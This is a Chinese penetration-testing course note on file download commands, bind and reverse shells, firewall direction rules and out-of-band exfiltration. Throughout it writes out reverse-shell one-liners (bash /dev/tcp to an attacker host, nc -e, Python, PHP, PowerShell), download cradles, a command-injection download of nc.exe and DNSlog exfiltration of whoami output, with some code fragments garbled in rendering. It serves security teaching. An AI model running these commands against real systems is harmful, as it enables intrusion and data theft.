小迪安全2023-2024|第5天:基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载_笔记|web安全|渗透测试|

第5天:基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载_笔记

一、知识点00:24

  • 核心内容:今天课程主要讲解三个关键知识点:
    • 渗透测试中的常规命令使用
    • 反弹Shell技术(涉及防火墙策略和正反向连接)
    • 数据回显技术(查询带外和网络协议层级)
  • 学习重点:
    • 理解正反向连接的区别
    • 掌握防火墙绕过策略
    • 了解带外查询的应用场景
    • 不需要死记命令,重点理解概念和应用场景

二、文件上传下载01:17

1. 实用案例1

  • 应用场景:
    • 解决渗透测试中无图形化界面的文件传输问题
    • 解决受限环境下的数据传输需求
  • 技术原理:
  • 必要性:
    • 实战环境中常遇到只有命令行界面的情况
    • 图形化下载方式在渗透测试中往往不可行

2. 实用案例203:13

  • Windows系统命令:
    • certutil.exe -urlcache -split -f http://example.com/file.exe local.exe
    • PowerShell命令:Invoke-WebRequest和IEX(New-Object Net.WebClient).DownloadFile()
    • 其他:bitsadmin, msiexec等
  • Linux系统命令:
  • 注意事项:
    • 不同操作系统支持的命令不同
    • 某些命令在特定环境下可能被禁用
    • 需要根据目标环境选择合适的方法

3. 常规基本渗透命令详解04:25

  • 学习资源:
  • 命令分类:
    • Linux:wget, curl, python, ruby, perl, java等
    • Windows:PowerShell, Certutil, Bitsadmin, msiexec, mshta, rundll32等
  • 学习建议:
    • 多实践使用命令,熟能生巧
    • 理解命令原理比死记硬背更重要
    • 根据实际情况灵活选择合适命令

三、反弹Shell命令12:24

1. 应用案例12:36

  • 核心功能:解决数据回显和通讯问题,将远程用户交互权限反弹到本地控制端
  • 典型场景:
    • 无图形化界面时的命令交互(如passwd密码设置卡住时)
    • 需要维持持久化权限(避免每次执行单条命令)
    • 绕过网络限制实现内网穿透
  • 实现方式:
    • 系统工具:nc/ncat、bash、telnet
    • 编程语言:
      • Python:$python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",PORT))'
      • PHP:php−r′php -r 'php−r′s=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
      • Perl/Ruby:通过socket模块建立TCP连接
    • 安全工具:msfvenom生成payload(windows/linux meterpreter)
  • 优势对比:
    • 与传统命令执行区别:传统方式每次需单独执行,反弹后可持续交互
    • 流量特征:反弹成功后流量集中在单一连接,避免频繁请求

2. 连接正反向16:52

  • 核心概念:
    • 正向连接:攻击机主动连接目标(如nc target_ip 4444 -e /bin/bash)
    • 反向连接:目标机主动连接攻击机(如bash -i >& /dev/tcp/attacker_ip/8080)
  • 判定标准:
    • 以执行命令的主机为参照物
    • 主动向外连接即为正向,被动接收连接即为反向
  • 应用选择:
    • 正向适用:目标有公网IP且开放端口
    • 反向适用:
      • 目标在内网(NAT后)
      • 目标有防火墙限制(仅允许出站)
      • 动态IP环境
  • 系统差异:
    • Linux自带nc/bash等工具
    • Windows需额外下载ncat或使用PowerShell实现:
      client=New−ObjectSystem.Net.Sockets.TCPClient("ip",port);client = New-Object System.Net.Sockets.TCPClient("ip",port); client=New−ObjectSystem.Net.Sockets.TCPClient("ip",port);
      stream =
      client.GetStream();[byte[]]client.GetStream();[byte[]]client.GetStream();[byte[]]
      bytes = 0..65535|%{0}

四、反弹Shell基础19:45

1. 反弹Shell概念20:00

  • 本质:通过特定命令建立远程控制通道
  • 连接方向:
    • 正向连接:攻击者主动连接目标("我连他")
    • 反向连接:目标机主动连接攻击者("他连我")
  • 典型应用场景:解决数据回显和通讯问题

2. Windows控制Linux20:30

  • 实现原理:
    • Linux端绑定shell到指定端口(如5566)
    • Windows端使用nc连接目标端口
  • 关键命令:
  • 终端差异:
    • Windows使用cmd终端
    • Linux使用/bin/sh终端

3. nc工具使用详解20:46

  • 参数说明:
    • -e:绑定指定程序(cmd或/bin/sh)
    • -l:监听模式
    • -v:显示详细信息
    • -p:指定端口号
  • 跨平台差异:
    • Linux系统自带nc工具
    • Windows需下载第三方nc工具
  • 典型命令示例:

4. 实战演示

  • Windows端设置:
    • 执行nc -e cmd -lvp 5566绑定cmd到5566端口
    • 显示listening on [any] 5566表示监听成功
  • Linux端连接:
    • 执行nc 47.122.23.131 5566连接目标Windows
    • 成功连接后可执行Windows命令如dir、whoami
  • 验证方法:
    • 执行dir查看Windows文件系统
    • 执行whoami查看当前权限
    • 可进行文件下载等操作
  • 编码问题处理:
    • 中文乱码时使用chcp 65001修改cmd编码
    • 因Windows默认GBK编码与Linux的UTF-8不兼容

5. 连接中断处理

  • 正常退出:
    • 执行exit命令终止会话
    • 显示Connection reset by peer表示连接已断开
  • 异常处理:
    • 防火墙可能拦截连接(需特殊配置)
    • 确保两端网络可达
    • 检查端口是否被占用

6. 命令生成工具

7. 技术要点总结

  • 核心区别:
    • 正向连接:攻击者暴露IP
    • 反向连接:更适合穿透防火墙
  • 关键记忆点:
    • Windows绑定的是cmd,Linux绑定的是/bin/sh
    • 监听方使用-lvp参数,连接方直接指定IP端口
    • 端口选择建议使用非常用端口(如示例中的5566)

五、反弹SHELL24:40

1. 反弹SHELL的概念

  • 核心原理:渗透目标系统后,将目标系统的命令行界面反弹到攻击者的终端进行操作控制
  • 典型场景:当目标系统存在防火墙限制时,通过反弹连接绕过网络限制
  • 实现方式:通过nc/netcat工具绑定端口,将cmd或/bin/sh等shell环境重定向到攻击者监听端口

2. 正向连接与反向连接25:17

  • 正向连接:
    • 攻击者在本地监听端口(如5566)
    • 目标系统主动连接攻击者的监听端口
    • 适用于目标系统可出网的情况
  • 反向连接:
    • 目标系统绑定shell到指定端口(如5566)
    • 攻击者主动连接目标系统的绑定端口
    • 适用于目标系统存在入站限制的情况

3. Linux控制Windows的过程25:34

  • 步骤分解:
    • Windows端执行:nc -e cmd -lvp 5566(监听本地5566端口并绑定cmd)
    • Linux端执行:nc 目标IP 5566(主动连接Windows的5566端口)
    • 连接建立后,Linux获得Windows的cmd控制权
  • 关键点:Windows需要提前开放端口并绑定shell环境

4. Windows控制Linux的过程26:30

  • 步骤分解:
    • Linux端执行:ncat -e /bin/sh -lvp 5566(监听5566端口并绑定/bin/sh)
    • Windows端执行:nc 目标IP 5566(主动连接Linux的5566端口)
    • 连接建立后,Windows获得Linux的shell控制权
  • 典型现象:可执行whoami验证权限,显示uid=0(root)表示获取root权限

5. 端口监听与连接27:01

  • 端口选择:
    • 可使用1-65535任意未被占用的端口
    • 示例中常用5566端口仅为演示,实际应选择非常用端口
  • 连接建立:
    • 监听方:nc -lvvp 端口号(Windows/Linux通用)
    • 连接方:nc 目标IP 端口号(需确保网络连通性)

6. 本地监听等待连接28:02

  • 操作特点:
    • 攻击者处于被动等待状态
    • 目标系统需要知道攻击者的IP和监听端口
    • 典型命令:ncat -e /bin/sh -lvp 5566
  • 适用场景:内网渗透中控制DMZ区服务器

7. 主动给出去的反向连接28:24

  • 操作特点:
    • 攻击者主动连接目标系统
    • 目标系统执行绑定命令:nc -e cmd 攻击者IP 5566
    • 可绕过防火墙出站限制
  • 典型应用:
    • 解决NAT环境下的连接问题
    • 绕过IDS/IPS的入站检测规则
    • 示例:ncat -e /bin/sh 47.122.23.131 5566

六、内网环境33:08

1. 基本概念

  • 定义:内网环境是指通过一个公网IP共享上网的网络环境,如公司、学校、网吧等场景
  • 组成结构:
    • 由路由器作为出口设备,拥有唯一的外网IP
    • 路由器下连接多台设备,这些设备使用内网IP(如
      192.168.x.x192.168.x.x192.168.x.x
  • 特点:
    • 外网IP具有全球唯一性
    • 内网IP可重复使用(不同内网可使用相同内网IP段)

2. 网络通信原理

  • 通信限制:
    • 外网设备无法直接访问内网特定主机
    • 原因:路由器无法自动识别外网请求应转发给哪台内网主机
  • 解决方案:
    • 端口转发:需在路由器手动配置规则
    • 反向连接:让内网主机主动连接外网设备

3. 正反向连接对比

  • 正向连接:
    • 外网设备主动连接内网主机
    • 限制:需要预先配置端口转发
    • 失败原因:路由器无法识别目标内网主机
  • 反向连接:
    • 内网主机主动连接外网设备
    • 优势:利用外网IP的全球唯一性
    • 应用场景:内网渗透测试的常用方法
  • 生活类比:
    • 类似学校宿舍找人:给宿舍地址(内网IP)无法精确定位,需让目标人主动联系(反向连接)

七、实验操作39:03

1. 实验环境搭建

  • 实验配置:
    • 攻击机:Linux服务器(外网)
    • 靶机:Windows虚拟机(内网)
    • 网络拓扑:虚拟机通过宿主机NAT上网
  • IP确认:
    • 外网IP:通过浏览器查询
    • 内网IP:通过ipconfig命令获取(如
      192.168.1.107192.168.1.107192.168.1.107

2. 连接测试

  • 正向连接测试:
    • Linux监听端口:nc -lvp 566
    • Windows尝试连接内网IP:连接失败(超时)
    • Windows尝试连接外网IP:连接失败(路由器无转发)
  • 反向连接测试:
    • Linux监听端口:nc -lvp 566
    • Windows主动连接:nc 外网IP 566 -e cmd.exe
    • 结果:成功建立连接
  • 关键结论:
    • 内网环境必须使用反向连接
    • 防火墙可能拦截出站连接(需关闭杀毒软件测试)

3. 双向控制场景

  • 控制Linux服务器:
    • 方法:Linux执行nc -lvp 566 -e /bin/sh
    • Windows连接:nc Linux_IP 566
  • 双内网环境解决方案:
    • 使用中继服务器:双方都连接到公网中转节点
    • 类比:需要"中间人"协调两个内网的通信

4. 防火墙影响

  • 入站规则:影响正向连接
  • 出站规则:影响反向连接
  • 渗透测试注意:
    • 需提前了解目标防火墙配置
    • 企业环境通常限制出站连接增加反向连接难度

八、防火墙出入站47:02

1. 漏洞场景搭建47:36

1)命令注入原理
  • 管道符利用:通过Windows/Linux管道符实现多命令执行,Windows有4种管道符,Linux有6种
  • 典型示例:在ping命令后追加| whoami,系统会先执行ping再执行whoami
  • 符号差异:
    • Windows:|(执行两条)、||(前错后执)、&(后台执行)
    • Linux:;(顺序执行)、&&(前对后执)、|(管道传递)
2)漏洞利用步骤
  • 环境判断:通过whoami返回结果识别系统类型(Windows返回mg,Linux返回root)
  • 工具准备:Windows需上传nc.exe(因系统不自带netcat)
  • 下载技巧:构造下载命令ping 127.0.0.1 | curl http://attacker/nc.exe -o c:\nc.exe

2. 文件下载53:05

1)反弹shell技术
  • 正向连接:
  • 反向连接:
2)防火墙绕过
  • 入站限制:当靶机限制5566端口入站时,只能采用反向连接
  • 出站限制:限制出站端口时需寻找已放行端口进行正向连接
  • 策略优先级:Windows防火墙默认对入站检测更严格,出站相对宽松
3)实战技巧
  • 路径处理:建议将工具下载到固定路径(如C盘根目录)便于调用
  • 连接测试:先通过简单命令(如whoami)验证连接有效性
    会话维持:后台执行参数&可防止会话中断
  • 注:实际操作中需根据目标系统类型(通过whoami返回判断)选择对应的管道符和命令语法,Windows需注意路径使用反斜杠\,Linux使用正斜杠/。防火墙策略会影响连接方向选择,需通过端口扫描确认可用连接方式。

九、回显问题01:14:34

1. 数据回显的基本概念

  • 定义:数据回显指在执行命令后系统返回执行结果的过程
  • 防火墙关联:数据回显问题常与防火墙配置相关,可能被防火墙拦截
  • 重要性:回显是确认命令是否执行的关键依据,无回显则无法确认执行状态

2. 无回显问题的解决方案

1)反弹shell技术
  • 原理:让目标系统主动连接攻击者,建立反向通信通道
  • 优势:绕过防火墙限制,直接获取交互式shell
  • 效果:获得完整权限后可直接执行命令查看回显
2)带外查询技术
  • 核心思想:让目标系统主动将执行结果发送到外部服务器
  • 实现方式:
    • 通过DNS解析记录带出数据
    • 使用HTTP请求携带执行结果
  • 典型应用:
    • 执行whoami命令后,将结果拼接到DNS查询中
    • 通过ICMP协议(ping)绕过TCP/UDP防火墙过滤

3. Windows系统特殊处理

  • 限制因素:
    • 不支持Linux风格的管道符|和;
    • CMD无法直接执行命令拼接
  • PowerShell解决方案:
    • 使用变量赋值存储命令结果:$x=whoami
    • 字符串替换处理特殊字符:x=x=x=x -replace "\","xxx"
    • 拼接目标地址并执行:ping ($x+"dnslog.cn")
  • 关键步骤:
    • 变量存储命令结果
    • 处理结果中的干扰字符
    • 通过网络请求带出数据

4. 技术原理深度解析

  • OSI七层协议优势:
    • ICMP协议(ping)工作在网络层(3层)
    • 防火墙通常过滤传输层(4层)的TCP/UDP
    • 利用协议层级差异实现绕过
  • Windows与Linux差异:
    • Linux支持直接命令拼接:ping$(whoami).dnslog.cn
    • Windows需要PowerShell变量中转
  • 结果验证方法:
    • 检查DNS日志是否收到包含执行结果的查询
    • 观察ICMP请求是否成功发出

5. 应用场景与注意事项

  • 适用场景:
    • 存在命令执行漏洞但无回显
    • 防火墙限制常规通信方式
    • 需要隐蔽的数据外传
  • 注意事项:
    • 不同操作系统需要采用不同技术方案
    • 特殊字符可能导致命令执行失败
    • 网络环境可能过滤特定协议
  • 技术选择:
    • 优先尝试反弹shell获取完整控制
    • 受限环境下使用带外查询技术
    • 根据系统特性选择合适的方法

十、知识小结

知识点 核心内容 考试重点/易混淆点 难度系数
文件上传下载 解决无图形化环境下的数据传输问题,演示WINDOWS/Linux系统下的多种下载命令 管道符在不同系统的差异(Windows仅支持|和&,Linux支持6种) ⭐⭐
反弹Shell原理 通过nc工具实现权限控制,解决命令交互和数据通讯问题 正反向连接的本质区别(主动连接vs被动接收) ⭐⭐⭐⭐
正反向连接实战 内网穿透场景演示: - 正向:监听端等待连接; - 反向:被控端主动外联 防火墙策略影响(入站限制需用反向连接) ⭐⭐⭐⭐
数据回显技术 带外查询(OAST)技术: - DNSlog提取执行结果; - PowerShell变量拼接突破Windows限制 字符过滤绕过(斜杠替换为xxx) ⭐⭐⭐⭐
防火墙对抗 入站/出站规则绕过: - ICMP协议绕过TCP/UDP过滤; - 端口复用技术 策略优先级(出站默认宽松) ⭐⭐⭐
相关推荐
Wentao Sun2 小时前
致敬软件创业者2026
笔记·程序人生
深蓝海拓3 小时前
PySide6,QCoreApplication::aboutToQuit与QtQore.qAddPostRoutine:退出前后的清理工作
笔记·python·qt·学习·pyqt
酒鼎3 小时前
学习笔记(3)HTML5新特性(第2章)
笔记·学习·html5
Mintopia3 小时前
Web 安全与反编译源码下的权限设计:构筑前后端一致的防护体系
前端·安全
Mintopia3 小时前
Web 安全与反编译源码下的权限设计:构建前后端一体的信任防线
前端·安全·编译原理
山岚的运维笔记4 小时前
SQL Server笔记 -- 第20章:TRY/CATCH
java·数据库·笔记·sql·microsoft·sqlserver
Gain_chance4 小时前
33-学习笔记尚硅谷数仓搭建-DWS层交易域用户粒度订单表分析及设计代码
数据库·数据仓库·hive·笔记·学习·datagrip
天若有情6734 小时前
【自研实战】轻量级ASCII字符串加密算法:从设计到落地(防查岗神器版)
网络·c++·算法·安全·数据安全·加密
承渊政道4 小时前
Linux系统学习【Linux系统的进度条实现、版本控制器git和调试器gdb介绍】
linux·开发语言·笔记·git·学习·gitee